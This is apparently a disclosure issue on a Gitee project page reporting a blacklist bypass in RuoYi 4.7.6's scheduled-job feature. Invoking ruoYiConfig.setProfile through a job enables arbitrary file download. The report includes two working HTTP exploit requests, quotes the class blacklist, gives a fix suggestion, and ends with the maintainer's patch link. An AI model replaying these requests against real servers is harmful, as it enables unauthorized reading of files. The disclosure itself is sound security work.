代码拉取完成,页面将自动刷新
看到 4.7.6 提交了定时任务违规的字符commit(df1c283) 增加了 com.ruoyi.common.config黑名单,但我在调试代码的时候找到了一个绕过。
漏洞原理
黑白名单过滤代码

黑名单如下
public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml",
"org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config" };

这里有一个 bean 转换的操作,然后在判断包名是否在白名单类,默认白名单是 public static final String[] JOB_WHITELIST_STR = { "com.ruoyi" };
这样使用的 bean 可以绕过黑名单的限制,然后符合白名单的bean。
使用 ruoYiConfig.setProfile('e://xxx/xxxxx.log') 即可绕过黑白名单,导致任意文件下载。
exp
提交任务
POST /monitor/job/add HTTP/1.1
Host: 172.16.0.118:48080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 188
Origin: http://172.16.0.118:48080
Connection: close
Referer: http://172.16.0.118:48080/monitor/job/add
Cookie: JSESSIONID=016273a7-e993-41de-b079-0d9a72561b60
createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('e://想要下载的文件地址')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
执行之后
任意文件下载
GET /common/download/resource?resource=Info.xml:.zip HTTP/1.1
Host: 172.16.0.124:48080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://172.16.0.124:48080
Connection: close
Referer: http://172.16.0.124:48080/monitor/job
Cookie: JSESSIONID=016273a7-e993-41de-b079-0d9a72561b60

修复建议
进行黑名单过滤的时候需要对bean转换对象也进行判断
报告人
superx
多谢提醒,已屏蔽bean的非法package。屏蔽定时任务bean违规的字符
https://gitee.com/y_project/RuoYi/commit/432d5ce1be2e9384a6230d7ccd8401eef5ce02b0
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。
登录 后才可以发表评论